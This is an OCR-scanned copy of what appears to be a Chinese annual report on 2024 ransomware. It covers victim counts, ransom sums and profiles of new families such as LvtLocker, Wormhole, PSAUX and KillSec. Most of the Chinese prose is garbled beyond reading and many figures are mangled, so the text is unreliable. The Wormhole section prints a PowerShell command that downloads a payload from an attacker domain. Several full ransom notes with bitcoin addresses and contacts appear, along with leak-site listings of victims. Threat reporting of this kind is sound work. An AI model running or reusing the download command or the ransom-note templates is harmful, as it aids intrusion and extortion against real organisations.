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STORMOUS uffs.edu.br 12005t
Medusa Digitel Venezuela 50055
Medusa Bimbo Bakeries 6507537
Trigona Dinamic Oil 500757t
Cactus ammega.com 9005 %£7T
LockBit crinetics.com 400037
Ransomhub Frontier 2200537t

BlackSuit CDK Global 25005 %=75(E3521)
Cactus isometrix.com 458077
DAIXIN Acadian Ambulance (US) 7005537t

A

BRI TEES S

SE, NEHERREREEREU TAEXNESHIEKRAFEENZRA.
UnitedHealth GroupA9F-&Change Healthcarei&= 7 BlackCat#hEREmKE, S
HiEE 12 AR AMEEFETEHIREER . BT HRETEAIBlackCatEhZ= R4
[ELRRIERE, EEEIA22005%T. BEAXEEENENRBERIMMRRIHZE/RZ @D
e, {EBlackCatilseAXid, FAERE reiflks, HXETRLRS.

EBlackCatiBkz fa, ZMiBAHRA%EMSEIRansomHUbBIFEN A B S/,
THAM RS HRESE, AERMINIAERUNILSETE—THE . X—FHRESH
Change HealthcareRIEIER AT, BNIEERIESERNETHERESHC—.

2024 FHRBHBERTTSHRSE



Toeoszus QD022 AEE g8 grpansre GEER

BN RS SHNSMAERERITSLT, AISRSMER T XBRRANSHESETFE
1 TEeRET105ERST 1000698, HRT2023FrIAEEILREZRIIEMN,
METHRA105~1005EEXESLLUE T KIEENELD . A2, FERBIUZHRE
MBI FHETHIRREENE—IERENDN BEFFE , BEFFSENURXI S
BRAL . AEFHRSHREEREEEN TR EEEEZETM.

+. 2024FENNERE LA B gaconszs

$100,000
33.51%

>>$10,000,000

9,
3.78% $100,000

$1,000,000
49.19%

kIR (X): StealthMole & RansomFeed

(7%)
i RN  A S E

REAR/IESESNESE, RN sERKSEREEREERLR(DLS) L%
FIEIRNEEEE, BEXXEOBELSITAI, 2024FHNHRREBEEMHRN THE
BRI ATIES, HENHEEZ K. FITEEZ  REHF AR T HIEHEFIMN
1B, BN T HERREEN ARV L2250 .. SRt ENEERS /IR,
ERRESESMNES . SRlF. AlNZitE, EERmIEREZE. LIFE20245FE
DRI S EE BN AERIFEL
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BERIK SRARA/M RN

BlackCat

LockBit

Clop

BlackCat

RansomHub

BlackCat

BlackCat

RansomHub

BlackSuit

Rhysida

RansomHub

RansomHub

RansomHub

3AM

Money Message

BlackCat

Rhysida

LockBit

BlackCat

INC Ransom

RansomHub

Change Healthcare

Evolve Bank & Trust

U.S. govt agency CMS

Prudential Financial

Rite Aid

LoanDepot

Fidelity National Financial

Patelco

Young Consulting

Singing River Health System

Frontier Communications

City of Columbus

Christie's

Kootenai Health

Anna Jaques

Henry Schein

MarineMax

Community Clinic of Maui

Jewish Home Lifecare

Access Sports

Christie's

A

BRI R R AR

100,000,000

7,600,000

3,100,000

2,500,000

2,200,000

1,600,000

1,300,000

1,000,000

950,000

900,000

750,000

500,000

500,000

460,000

300,000

160,000

125,000

120,000

100,000

88,000

45,000
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()
HiEtENSERW: rHik. ZESFERK

MEEHFHAEEWEMTINER, BRELMNEIEERINR~<—. AT, BEE
SRR CEARE, BIETESHRAEERBERR EF, Bl T RTaIRNm. X
LR AMUIRTEZRENRE, BESNEPRITIVHEE. Gt sEEEtEE
BEH. APRTNENEENELeHPHSIESNER T, JEtBEERAEEEERET
B HEIFRITET= .

EFR, BENHRIGRA —EIIIEXREEEREE, EETEEE—1IKE
FR. BEHRRGRIEE, FEHRINT —MENSEFNEEBIAENEES . Bl
FEEMIETES, MNEMYEIERANE D, TEEX kAN EENSER
IMORGE . AT HEE 2 7 HEIEHETRIGEENGE, NGNS MEEITEE
FERISERN M N ATEREE o

FENE: mETERERSEPEERN

EEXM SR ETRNSEEERT — AEWHNEIEERITESENEY, EROA
REEWAISERSAIE R . HEEBISMLIIRXTMEEEH, BEXRRLATFR:

O HIERINER
EHERHENSR T, XEESFRENNEREEERERR, EEEMAGER
REEHGIEE . B0, WEETALEEFIMG . BIESHNENER, BRERRE
BUEIERIP AR, EREPZM—E&ALGEH—EHERITR. BidixH
B, BEHEEBNMUENTSEEZNOEES, RERHEIETEFNENETE.

© IRITEAEIE
WEEBYSEANEE, 7 AIEEESHNBRCE. £—EERT, $HREAKE
EEY THCHERXR, ERIcEZBWTET, WERFHERZRE, BX
BEIPN . B IXEFR, WHENMUESF LIRGHRKES, BELSEENAKT
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MEAAIES . WGBS XEFTEREERABEENE, BERERRATER
KED T

XL TSRS TR EIVRIEHL, HIIRARNAMEE, A= EHE
M. JMFhkskyy, —BEREEERR, RENTEEEREYFEEER
BgEl. B NESREFRIFANEZEHLERANESRRR, BRIETESHLE,
EIRNZEXGNAXIE, EREMESEIIREENA . SRUEERER, BOFER
Ko

HERA: IEERIERZEFTIRED

MEEHIEHESAARTER, IREMIERZHIEENNF, BREAKAMOBTEHERR
BEe, TBRIHIESHREMIMIEFIEE. BREEAEENNITFESHRENIERF
B, BEAELT/IMER:

® HiEnse
HERENSBIET T IRERTMGETES, AFRZEGERNEE. XEHEEES
FEEVHERMER . ERRF. ANNEE. —ERANEESRERAHE, B2
RERISNMEREEMIERES F. RENFE=SRE. BEXMSI, 3R
ADUEIN T 257 et , WINE T ZFERWAIES, EEAESFREXMNEE, BE
HiEH—ZRE.

LE g
LARhysidaBAtk By, ZBUWEEARERIRERS 7 Eflat. #1420, RhysidaZlikle
B40LETIMBESXL T NZINF AR LEERH BRVEHE, FLASOKRET (48
1907537t ) A ETHSE 7 Nz e EHE hErENRY6. 5 TBEERE . XL IEE fHsE
ARG TIRESRFEE, RIS ECWEIG T BIFTAREIE .

XENRBRHAFEHIERZHIENER, DA AMYEIRESRIR, ERsEREE
WATTRZZMEZERNEIREK . FLt, EIENEZEEIRT, PIUINEXT Uk
FIERIRIP, ORI ERRIATREN, FXIEIRAROH TEREE .
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BRED: FZEFNNTEER

EEEICCERNSEEZ 2 EZMAIA T TE, B EEERIETESMR, CINEIEN
FERIGEEMNEHIE] . IFSERMXSEE T ESHRIREERELTERIMN™E, &
AANERARRENR B E , AIRE=HEIRT™BRISIFIEERER .

O [SISHRIER
FE R EBEHRRM T oEIEEEEN, U RMEY, EET (I
SRR, MARARBEETHRS . XIMERAR RV AIES],
(B—BE#BE, EISHEIEENIRAEESR. fIa0, FEARRMEMAT—REIME
AT (PSASD ) EIARRNIREMIELESH, REREERESARRSE
(HHS) 435550537t

® EfIER
2023, EMFARNTENzo BiochemEEIE M EEAHIBE 4505 ETHIH
K, S REE 2408 ABURIENEG . X—SIFEHAL . FEEFIRENEMN
RERKESERN, ERESMNUEIERIPFTINEZESNSEEN. RUNRGIEE
RETIREAEIAdvanced, ZATIREE2022FEBLockBit#i R4y, BJ&E

IESIK7 745 3TThITIR

Al FEIEIEIER, DRERETHEREAREZIN, BARKNEREVMRES
%, ARSHEXEE. BEIaaH, BAWAILIBR A ERNTIR, BEHEAAR
MBEETIXIEIVAHSIERE .

Akssrhlf: EERENNRFMESIR
HIEHESHAMNSSHEVFESR, EEYBIVHIERESEFEFERN, T8E
WIS B RBRIESL T, BIRIKBISRENBELENIRE, HiTHAEEE
BRSSRZM . fERlRE— kBT, BIEHERSEOIEMNER
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O EfriTil
EZEMERHOONeBlood B B#HRREL T, SHMREFHLSZE, HERER
AMEARBe ‘MRS MSERF. X—EHRE 7 HEtEN N ERRSAT™E
. EEFT, FUEHEMRANEMEIRE, B EENEDER™E
EIEE .

©® TAFFIHNISITIV
M InHIEE SOl ENEEF A SEBEHRNEHN LG, EEEEF, REHBK
FRP . ZEMRRTEHRREGEESESERIRN, AEHEEMNEEENE
FrREA TS ERINBE o

FEtE, DA AIREEMAI ST EIRENE, FRKBEETI R SaetpERuEt
BRESMRERRIRE, LIBDIIEERIRNN .

ZFmk: ERSEERASIINERESD

HRYEHNEEEREEWEMES, EEEFRAITALETIE. EIWAFRERIBH
THIEHESER ST, FRKRE . ZEFAF—RIIEESEA. DUSIRROTEE
ELEZRERh .

® NFFEEH
#ign, Johnson ControlsFlCloroxE#Z= KT TG AV EIEFN B FHR IR EIE
FHET. W, BRRGETIRESHEI iR, #—SRaErihn, 8%
EBENHEERK., 630, &S ATFoxsemiconEEZLockBitls, SHA
SN T ERL93% 6
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LoanDepot 6005%E5T
Hoya Optics 10007 E7T
Claro 10005%7T
Majorca city Calvia 1100557t
Change Healthcare 2200/ %(E32fd)

A

AFREOIFHERES

EEREE: [SRAHEES | AREEEE
IR EFEHACEREIEVRSHEM, TS IAEFTIRTHERFL, SHdE
WHIFEEEE . F—EERT, BERNEWREERFRF N ASIERLIFL, EXREEE
HHEH BRI~ ERVEFHRK o

© HaRVZ=(3)
FEESEENE (LVHN) ERZIBlackCatBtkiES, SHLU13.458EE
HBUSESUERITEE . HEAEIETEIEARRSZREINBSFARE, &4,
LVHNSREIARG5005 =chIFIRIMNY,, RARERIFIA.
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JL
WRRAR I %

(—)
BRAMBERIRRER

360 e XK=, BRETEHNSHRREGLEL. LIT22024F8A# LAY
EHEERRE(NEIINE A ZZEEZHTHR)NEDICRES, FHit315K:

2024518 USDLocker, TOLKONEPERDITE
2024521 Mirror,LVTLocker
202453H -
20244548 Rincrypt,FakePenny, Wormhole,Balloon
2024551 Moneyistime, ShrinkLocker,Phalcon
202456H RebornRansomware,Anony,PSAUX,DeathGrip,RSAGen
202457H ShadowRoot,Ymir,Black4Over
202458H RNTC,Kasper,BaiduLock
2024£E9H Elpaco
20245108 Hacker Sadism,Weaxor
2024118 XmrData. Frag. Nyxe. MrBeast
2024%128 RdpLocker

A

20245 & BB SRR =R
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PRI EFTEE R AR, BATREFLA BB REHITEER5RA .

USDLocker/TOLKONEPERDITE/Elpaco

USDLockerfli TOLKONEPERDITERMimicBIERRERIEHIF 3R, ST
2024 F1BEH, FEENIBEIITGERR . XA EMZITLIREN ™S, 2RAHERE
RNEEFEAEIL. MimicBIZERHFEIZ4ET, BRIBTENEverythingl&iEZT A/
API, X2— 1 HVoidtoolsFH&EHIWindowsXHZ RS |8, DIESMAMEREENFIRIE
{FRZEMEFR

TOLKONEPERDITE Ransomware!!!

ATTENTION!

YOUR PERSONAL DECRYPTION ID -
7vDgxWAIMkYNzcfcRYUV1jbNfTrYSREwW28Z6N7r4xxk* TOLKONEPERDITE
At the moment, your system is not protected.

We can fix it and restore your files.

To get started, send 1-2 small files to decrypt them as proof
You can trust us after opening them

2.Do not use free programs to unlock.

OUR CONTACTS:

1) TOX messenger (fast and anonymous)
https://tox.chat/download.html

Install qtox

Press sign up

Create your own name

Press plus

Put there our tox ID:
E9164A982410EFAEBC451C1D5629A2CBB75DBB6BCDBD6D2BA94F4DOA7BOB616F91149
6E469FB

And add me/write message

2)ICQ - @TOLKONEPERDITE

3)SKYPE - TOLKONEPERDITE Decryption

Also we have a temporary mail,pls use it only if neccesary
tolkoneperdite@onionmail.org

TOLKONEPERDITEEER
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EFIMIMICEI TR TRA DT, HIRAREKAERSRIESConti#hRREFE
KEk. Conti#EIZEREBEERSHRFRENTFEHESY, SEATLIN TR, HRAE
MEEHOHEE . XAACIB_ ERVELIMEREE, MimicBhRIRETEEEMEE FH=aELT
Conti#hZ=BARINTD . 20, MimicEhzREHER Tt ERICoNtSNZE IS RLIA T
HE=MiROaES .

Elpaco: A tEEMIMICEIFRIGRIERIZM, Bzl F2024F8R , (EHKEE
B&Er, FEE+HEEE. @2, g=. EENEE, A, HEmHAERF XL
X, RAELKEERN, 8ENER. PR, #E. RESEHHEE pacofiR AN
HOIRE . EEFE L, ElpacoRhBRGHEE TEIRNEMERDP (IZfERmEiMY ) 3k
EEZEERSHENER . ESUFERENE, ElpacoEMEEIEFMATIICVE-
2020-1472 ( Zerologon ) 1=@AGREAIFIE

LvtLocker

LviLocker#8 R ERRLEIMT2024F2H, B—RETHEAIBabukEN ARG
RIAAVEI R . SEREZFIAHEMEL, LvtLockerfE I3 R E T RSARIBATINEH
¥&, MYMNAIFAENEREREEF . EREMEE, EsEZEENRE LA
ECCEZEM—NER, RAEARENRSARXBEFECCHBAITINEG . EE,
LvtLockersRFBChaCha20R#RINBE S AR ) AHE TN, XA N TS = R HERMAEER
BRPIHTZRA

LvtLocker#iZRRHEELHEH LI, BFNRERNNZRENASEGRIREHTE
&, #lEn: CVE-2020-28188. CVE-2022-24989F1CVE-2022-24990EMNZE3 4
&, LvtLocker&BE F#IFERER, SRIRARIEESERIS0.01 NS, RIR20245F
2 BB B£83700T AR
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E  ReADME_ttxt X 4 = O X
Xt &R = ®
--------------- Hello ---------------

*+% By LVT LOCKER ***

Your computers and servers are encrypted, and backups are deleted.
We use strong encryption algorithms, so no one has yet been able to decrypt their files without our
participation.

The only way to decrypt your files is to purchase a universal decoder from us, which will restore all the
encrypted data and your network.

Follow our instructions below, and you will recover all your data:

1) Pay 0.01 bitcoin to 3JD9xwASHQUZSSEKZemmuTTpEmtM1L8Uwt

2) Send us message with transaction id and your personal key (which is in the
README _Ivt_PersonalKey.txt file) to ghzsr@onionmail.org

3) Launch decryptor.exe, which our support will send you through email

What guarantees?

We value our reputation. If we will not do our work and liabilities, nobody will pay us. This is not in our
interests.

All our decryption software is tested by time and will decrypt all your data.

1" DO NOT TRY TO RECOVER ANY FILES YOURSELF. WE WILL NOT BE ABLE TO RESTORE THEM!!!

71, Z1 1,055 NEF 100% Windows (CRLF) UTF-8

LvtLocker#i&EER

Wormbhole
Wormhole#h R4+ H202454 B 16 Bl ia360% e KiNisizEl, SRR TR’
TEFHSQLIENFAEFAEETEERERFR . XMREATFHGEETEEEASHIITRN
BT, BEIEETINEESQLARE, MMIABEFSEHIAERIHIER
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dowa\ Sy BG4 i gdoviPoverShe Quocwershell exe “ncwershe ~ExecuticaP _Byosss ~Comma New-Ob ipct Svaten Xet ¥ebCliens) Downles 2" htap:

BEERFASSTIENE

{
"C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe": |

"powershell -ExecutionPolicy Bypass -Command \"(New-Object
System.Net.WebClient).DownloadFile('http://www.rg77e642mtchm58h.com/WormholeB.exe',
'C:\\Program Files (x86)\\RealFriend\\Rap Server\\WebRoot\\WormholeB.exe"); if ($?) { Write-
Host 'Success' \"",

"-ExecutionPolicy Bypass -Command \"(New-Object
System.Net.WebClient).DownloadFile('http://www.rg77e642mtchm58h.com/WormholeB.exe’,
‘C:\\Program Files (x86)\\RealFriend\\Rap Server\\WebRoot\\WormholeB.exe'); if ($?) { Write- -

1 1730 Host 'Success' \"" BER: 29

]
WormholeX¥THil 25

Hel, 360k AMELENEIWormhole#hFRMHERNEEMA, BIEINIEH
RS RRIE L ERANESR

B MIRBERNINEZETBNNGZE, SEXHEERI “locked” HER. R
BEMRRRERTHAEE T0.04t55M (BTC) WEEER, SEENMABIISBEE
FHRHSHEEHTRH, LABKERANEE S I eE IR

BTNRIEMEX MG, EXHEEHRM “Wormhole” NG . SFE—TIRA
AR, XTRFHBHRIEMERFREMEERSHERESE. XEEREBETHEER
HATOX |d (—MRATRMNREBERIRRAT ) SHEERITHREMBRF . XFRERAYH
AR RERER R EERFITEPOTAFIMAL, EAIREXTES SMAVRRER

Moneyistime

MoneyistimeBI R4 B2024F5 BHIE R BILASE, ERk /NGRS —1E
KEH . XMEERGEBIROEERAR, ZIHTEEENY (RDP) NEREREH
1T . — BRI, WEEEREBREEREAZINAONIR, HIFEBEERNE, B
ERSEEREES LUREREZA .
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20245 BiailEMoneyistime# ZIREAI— M HTEM . X—HEMriE~RESEES
i, I NREENFRESRE T MECER . BIAKRE, SIIENESBIlT—1
BXEANREVEFRHERSFES, W “.CloverGroup” 3% “.ZKUNGFU” &, Itt4h,
WEFEREREHT T ERINWAE, MIBEZEEATNEN, TS TREZEERT
BRI FHEFEMIL, IXF—SIEIN T REBRIF IR,

MoneyistimeZ) ZEX A RIERIEE R T — RIS IERY TS AR R . IFIA
LightshotiX—#EI TR, kmiesinEigs CR@MEERIER, 1o 7 EFHAEIAY
RIS . WhEBXEEEENIEE, LEFHREBICR. £5XEERNIRNFTEITE
TERYFE AR TIES WEHIRT, XL EW B RES LS AE IR

% LightShot it

L -— ; v
REBKAEE (3)
AR (C) #h0E (D) #h0E (E)

MoneyistimefhZF e & &R

ShrinkLocker

ShrinkLocker#iZERRE R T 2024558, ZEERREFEEIB— NSRS
X, FEAWIndows BitLockerlZABERS ., ZFrlAfsZ AShrinkLocker, 2EAEE
I4a/\e] BHVAEEEID KR AR ERIE . 1R S H I BTSSR LA S S EmFEE
WHIAE] .

ShrinkLocker# R NIERH BIFESR M A U EaE, flan=aiES Bk,
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BRIERGRALL Vistagt . BN, ShrinkLocker&BaiERHAMIGES . MMRFTEWESE
%, B=NABitLockeril&EX 4, FHiEiE TryCloudflarelidE=Z8&El . IIETRE, #
ERENE, BEERAIBitLockerikE1EIN, 20245118, BitdefenderfliZH &% T1%E)
ELYYLREN)

Recovery

There are no more BitLocker recovery options on your PC

You'll need to use recovery tools. If you don't have any installation media (like a disc or USB

device), contact your PC administrator or PC/Device manufacturer.

Press Enter to try again

Press F1 to enter Recovery Environment
Press F8 for Startup Settings

Press Esc for UEFI Firmware Settings

ShrinkLockeriEABitLockerIIE &R %t

PSAUX

PSAUX#IZRZGE2024F6 B FHATERR, FEEHIIUnX/LInuXESZ AR E . BEZE
R R E R EREAWebIRS2E . PSAUXSIERNBEITIXLERRANERSSE, 7
SR “akd7.py” BIHIARIEXLRERE, LUK “actually.sh” BIASRINZES G, E15K
ZHE, HTFPSAUXESIRRUINEE ZPFEREIR, BERNEAS4 AR ERE .
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HRRABUERRURBHERBHBRBERAHBRARBRBHRHRBRBHRBRBRBUBBRBRBHBRBHBHBRRAHRRERBH BB RERBRBHB B
Encryptions ID : ${key name}
You have been hacked by PSAUX
All your files have been encrypted.
To restore access, you can contact us in Telegram
Telegram: @psauxsec
Payment must be made in cryptocurrency.
The price for decryption is 200 dollars.
After payment, you will receive a key to run the decrypter script
on your system to restore your files.

All your database is downloaded and if you are not going to pay in next 3 days
its going to be published in darknet. Best Regards!

Ransomware Made by PSAUX

# k4
# 5
# #
B #
& B
# “
# #
# =
# “
# #
* #
# #“
# Sample decryption can be served upon request. 7
= #
# #
# #
ks #
B3 #
# #
# #
= B
# 7
# 5
# #

BB RN RE R RRR BB AR RER BN URY
PSAUXEIR(ER

20245108, BilRIKEEFRIFACyYberPanclMibtEEFESHREHRITIE, 32
2.3.6M2.3.7hRA, XA FESINERE, BF:

©® CVE-2024-51378 B{pieiFiRbaiEE

® CVE-2024-51568 e NiRiR

® CVE-2024-51567 infemn$HhiTimiE

HRARE2024F10823H@CyberPanelF & A REBIR T iZimiE, CyberPanelfd
BlEEUsman NasirfEEIRS G/ NTASHAN2.3.80kA, BETiZRE, FHRNRE
EWREREFHNBRSERIEEREXNEM, A, EREREN, EBN -G8

22,000 ARFT#NT RIBRSS 28 . WA LR, KRESHRSBREB/ATH, HRECHBIAFH X
F T PSAUXENZRIR .

RSAGen

RSAGen# RIS FRELINT202456H, ©RHP2PInfectEBFMEE &, &8t
STLINUXBERE % . P2Pinfect2— A BRustmZEEESHRENIER, EBERTR
(P2P)MEi# TanSFIEsl, TEMARBIRRIRedis#iEE, NERIIEEFARedisH

2024 FHRBHBERTTSHRSE



Toe0owzEs QDSOS AR g8 grpnsre GED

1TRES SR T RTEERMG WRRedisIXRE “EAE" , BRESFFARNENSBEOSCEH
TNESENEFHITEOSCENEER L, FTHEREIOSCETAERSLERAMER
5%, M—EEM—1 =, LA MOREPHITH—SRMF . XFEFNEAMY
BEMEER BRI, TREBENINEEHIZN 25,

RSAGen#RHKEIBEMING, SEIRTER(temp)EK— “Your data has
been locked.txt” ENZIBAIS, SAFFMIIH T SHEE KRR FRBAitt,
FTEREESHEEZENEE, W, XHFERZTEERZENN T HATIRECH##
B, IRIEASURSIATCER, 1 )BHYFFT 1107 AR,

RSAGen#FE(ER
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g
BRHMENE. SEIFRER

BEGEITRI, 2024F8 BEITE LIRS RRAIIAZINE/ ZEHRERTI
B, (N360Z & RIMEER I ENE/ZSEHRRUREERFERALTFEIBD . 55
KRBT BAFRER K BB H T

“ SN E/ S ERFTR R BRER

20245118 MorLock ghEINE
Red Ransomware INEF SR e
2024528
Ransomhub &S ER
Kill Security IS AR TS
DoNex NS /EE TR
202443R
APT73 RS EE TR
Eldorado INESZ AR EE
EMBARGO INEESCi BRIt
Space Bears INEESEUETE
Qiulong NS SRR R
202448
FSOCIETY IS8Rt EE
Pryx ISRt
dAnOn ISRt
Arcus Media DNEEST{-EUE R A TR T
2024£E58 Zero Tolerance INEESTi AR ER
Trinity DSBS Rt 5
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Cicada3301 INEESZI AR EE
2024£F68
Brain Cipher NS BTt E
Vanir Group INESTHEIEITE
2024578 Lynx DRSS R
MAD LIBERATOR INEESZ{ IR ER
2024588 Helldown DRSS BT R
Nitrogen NSRS Rt
InterLock NS 2R
Orca NS R 3R
2024598 ValenciaLeaks INEE SR 5
Argonauts NS AR TS
Chort BB
Funksec NS AR R
Sarcoma Group INEESHEYE T E/DDOSKE
Dragon Ransomware INEE S U
20245108
PlayBoy ISR E
HellCat INEESTI AT
NotLockBit InEESzA AR SR
Kairos hnEESzHEuE T SR
20245118
Safepay NS Rt
Termite DS T 3R
20245128 Blueox DREESTi R T 3R
A

20245F % BHBWNE/ S EHFR R
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RansomHub

tri-tech.us

8D 4h 9m 65

Visits: 390
Data Size: 57GB
Last View: 09-06 07:50:03

2024-09-05 19:53:14

cps-k12.org

8D 4h 9m 65

Visits: 308
Data Size: 177GB
Last View: 09-086 07:50:23

2024-09-05 19:508:52

kawasaki.eu

8D 4h 9m 65

Visits: 390
Data Size: 487GB
Last View: 09-86 07:50:44

2024-09-85 19:41:05

cbt-gmbh.de

8D 4h 9m 6s

Visits: 336
Data Size: 263GB
Last View: 09-06 07:50:09

2024-09-05 19:38:20

Inglenorth.co.uk

8D 4h 9m 65|

Visits: 306
Data Size: 62GB
Last View: 09-06 07:50:30

2024-09-85 19:48:54

www.towellengineering.net

13D 4h 9m 65|

Visits: 442
Data Size: 490 GB
Last View: 09-06 07:48:54

2024-09-05 14:02:49

RansomHub#hZ=EEAFiEs

Kill Security

inorde.com

8D 4h 9m 65

Visits: 327
Data Size: 102GB
Last View: 09-086 07:50:16

2024-09-05 19:54:36

phdservices.net

8D 4h 9m 65|

Visits: 335
Data Size: 169GB
Last View: 09-086 07:50:38

2024-09-05 19:43:59

www.parknfly.ca

12D 4h 9m 65

Visits: 825
Data Size: *
Last View: 09-86 07:48:52

2024-09-05 03:24:53

Kill SecurityZ) R FEFRIEKIllsecEI TR . ZABARRHE2023F10HETH
TelegramiBAFBEZENIARIIARAR, BEKMEHREHREINICR. B
22024538, KillSecBhZMHERFRIFR, BAERRIZNETREEMELL

(DLS) T ZELLFIEWAIEIE. HEEFRE TEURTIGE. ST BERIEL
LARBRS T ES NS FRlESIENE, ZARNENERPEE TS M ERIVER

B, BIANENEARINERIAFR
B RENEES IS,
g o]

B. S ERNICHEUANRSDRIMNERESE, EETZ
BFEE1500EK7Tt= 100008 T2 8], ENEHNESLHEEHE
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2024%6H25H, KilsecttE TelegramsUBIEHESR#TMm: KilSec RaaS ( #1ZFiX
HERRSS), ZERSBEHE— B TorMEEE D ENR, ZERISHSTINEE, 81F: 4t
Ihee. BIRINeE. Wt TE; LIRENEHELR: DDoSKET R, tRTRIEIIEE. BRE
BTEE., HEMX 25035, FHRBREATIINERSEaERREZITTER,
EEESR L, KillsecEFRRHABLEZORRANKEIEEH12%, FITHI88%HEL
WEa.

RaaS Release

New KillSec 2.0 RaaS

Researchers are gay :)

KillSec RaasS

» Advanced locker written in C++.

» User-friendly panel accessible via Tor, including stats, chat, and builder.

» Upcoming panel features: stresser, phone call, advanced stealer and more.

‘h’Pricing & Fees

» $250 (trusted individuals only).
» We only take 12% of the ransom amount.

Coming soon!

KillSecEMIRE

2024 FHRBHBERTTSHRSE
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2024%6H25H, KilsecttE TelegramsUBIEHESR#TMm: KilSec RaaS ( #1ZFiX
HERRSS), ZERSBEHE— B TorMEEI DN ENR, ZERISHET N 6E, 81F: 4t
Ihee. BIRINeE. Wt TE; LIRENEHELR: DDoSKET R, tRTRIEIIEE. BRE
BTEE., HEMX 25035, FHRBREATIINERSEaERREZITTER,
EEESR L, KillsecEFRRHABLEZORRANKEIEEH12%, FITHI88%HEL
WEa.

Embargo

Embargo#) RIXMHRFHINT2024F58, B—ERRUSHESRERIBENRYE, X
FREERDEEIRS (RaaS) RUizE, (EBZ#RREAIIEE S BRI E Mz E,
Embargo# RN RIEM B ATNRBE NS ST RES D ECELA

O IR AT H CIRINNETIRFE CRE#R, BAMEATIREEEAIS0%

O EATINHENENIR, ERBHEHREN, BAMBEATBREREEEA
20%

Embargo#hZ=EEH— M I/EER, B IStorm-0501, AMYEBEEmMbargo$hzx
i, mEBlackCat(ALPHV). Hive. LockBitZE=#1Z=MEMMBEAT, ExEEBEAN
R . IZAARBE ZWEIREWIR, X#EHiEZ—=5Microsoft Entra ID ( EIFR
Azure Active Directory ) &8, NMERN =R EFAIEIRFIKS, .

ALL DATA AVAILABLE ALL DATA AVAILABLE ALL DATA AVAILABLE

Fﬁﬁ%;wﬁw’?
Backyard “ C[ Memorial
N % v Hospital & Manor

DISCOVERY

AMERICAN ASSOCIATED PHARMACIES

backyarddiscovery.com Memorial Hospital & Manor American Associated
Backyard Discovery is built for families. From a Memorial Hospital and Manor celebrated its 50th Pharmacies
child's first playset to structures that guard the Anniversary in 2010. Memorial Hospital was

parents’ newest outdoor interests, our products are officially dedicated o nday, April 3, 1960, and
meant to play a role in families’ lives for years and opened its doors to receive patients the following
years. You can find our dedicated team hard at day. The 80-bed hospital was built under the Hill

Burton Hospital ...

11/29/2024, 9:13:01 PM 11/4/2024, 4:50:57 PM

11/12/2024, 11:51:25 PM

EmbargoE M ITHE
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REELZEeMRFBEmMbargofi TR X4 S5BlackCatBkRE—#2, {EEmbargofiizE
HREFAFENTX—KEL, FAREREEEE,

Cicada3301

Cicada33018ERE, B#RACicada, H2024F6BEiEk. RERFIRS2012E
20145 /8fCicada 3301MLZFXEEIIERE, EEESENRSEIPASSHERE, EREHT
XB%. Cicada 33014 ARIIHVALRE CIHMBHIASHERREETOUER, HESTEHERf>
ago

Cicada3301 #/Z= B4R RAEIZERRABIIRSS (RaaS ) BREfF. 2AR2024F6H
6EMEAIELELITA, (BERIGHE29H, ZEWKA FHaEMEIEIEICIRRAMP LT 7
BAEBBENEARHRELA, #H20%EE, FAKBRHEES ZI8ERIET X
ZRER . Cicada3301#1ERRERTIZE— 1 DLS(HEt EiLR), INRZFFHRANE
AoREEEMERS A HIRSE, tISERERATTEIERIEE

A\ Cicada3301

KHOO AND COMPANY, INC m JOHN W. BROOKER & CO., CPAS @ BLVD RESIDENTIAL INC B LV D

i
BOGDAN & FRASCO, LLP - s BAYOU DESIARD COUNTRY CLUB - MONROE, CHRISTEN-SANITAER.CH
LA

A 200

Cicada3301EMRE
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XtCicada3301MMERFDTER, ESEREMABlackCat/ALPHV#IRR A
(BlackCat/ALPHVEREEIFChange Healthcare AE]22005 ETEE HEAEMELLE
. FESHENZL, fIIRmEEERRUSHESHRES, RAChaCha20iiZ&x, FARR
HanPSHIEE, XHGEIN—, DUAESERIEE S AHHERE .

HellDown

HellDownE R4 B2024F8 A EREE, SR ACreppylIEREHNGIXEK,
HellDownRFENEZH TR, MIGBEREE, TRMZEEEINBEESNATFERE. %
HQARITAETFEEIE, XRPIZSHERABL IR REIIRENRE R aInEE . RE
HERMBETHEKE, BHellDownEEHMIFERBARARS M, SiEHEW. E
rRE. BER. BT, AARSS . BE. B ERiEE .. HEEETEREEFRM
Ay=RNEY

HellDownEER MRA, EhstidWindowsHIIZE 2 E Tt EILockBit3.0MEE
ERFUEERY. METXVMware ESXBILINUXZEMEIRHEITF2024F108 , RIFEZyxelfa ki
BRI, LABAIRZE, MissEEdEfinzngs .

are encrypted
are deleted

HellDown#EER
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Dragon Ransomware

DragonRansom# R RXHZE2024F 10 B EHNF B MR RAALR . ZBLRULHEILA
“Stormous” BIEENEDTTE, BRAZBUKE2021FCIFE T Telegramsid, BIRE
K. 2024F38, ZHAMELETER “StormCry” BFEERHEHTE, FE#RStormousH
KETITLABIILAR A 75 s A B I NB R T SR E R I F2StormCry . {8
StormousEERRABRFEREEE S Telegram$TER FARIER @stormousssiiE, FHiR
[rECHIBRNEI, FARAEEMRE.

2024108238 F4a, DragonRansom#EZEA4ZALRBTELIStormousEi R SH
MPNZ N TEHTelegramiiB A EHR/BIEZE, F£10827H, FEEEEREE
DragonRansom, HIERX#EH TDragon RaaS¥ESE, fIZ@EEATelegramiiig
@DragonRansom(#s:&4: Dragon RaaS|Version 1.0). iR ZALBLFEIREHRE
Bl s i S Z=ZmHRE, T IWindowsE % . HEBFaaE— MR ENS0KBI 4
KN BRIIIBRE, UR—MRITFREP M ECES R RIIeEss TR, XMSEN

" NDARNND

ANCAMWADE

@ ugery o

Dragon RansomwareE RITIH

2024 FHRBHBERTTSHRSE
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SRR RIFNEE TR, FEHRKENREENRIENRK. BETENE,
DragonRansom# &4 AFER SE Telegram$fiEi T AEHEEY . —E5EiTH
FZIXEN,00058, ZTEBEAARTN, XAETURESRTEGEITAE T BHEAE
i, M AEEENISEENEE . XMHETTREHEN AT RISESRREGTIEER
RNEN, BRTIZBRTIEINS IR T,

FunkSec

Funksec#IERXEHRBELIMT20245698 , Bo—AKFHRaaS ( HIERGEIIRSS ) &
RIEEHINELHER M, ZBLREBNICIE EIEERK, S|/AFE20245608 k475

| was drinking coffee in the Russian winter weather. Greetings to all Russian hackers. My
friend reported to me about someone who was insulting our group on Twitter | was going
to ignore him, but the group insisted that | give him some candy The USA network that we
leaked is data that we stole from several American sectors, which contain industrial and
hospital facilities, which were misunderstood. To return to being a dark web fan,
congratulations, we have put you on our list for a month. It will be the happiest month for
you

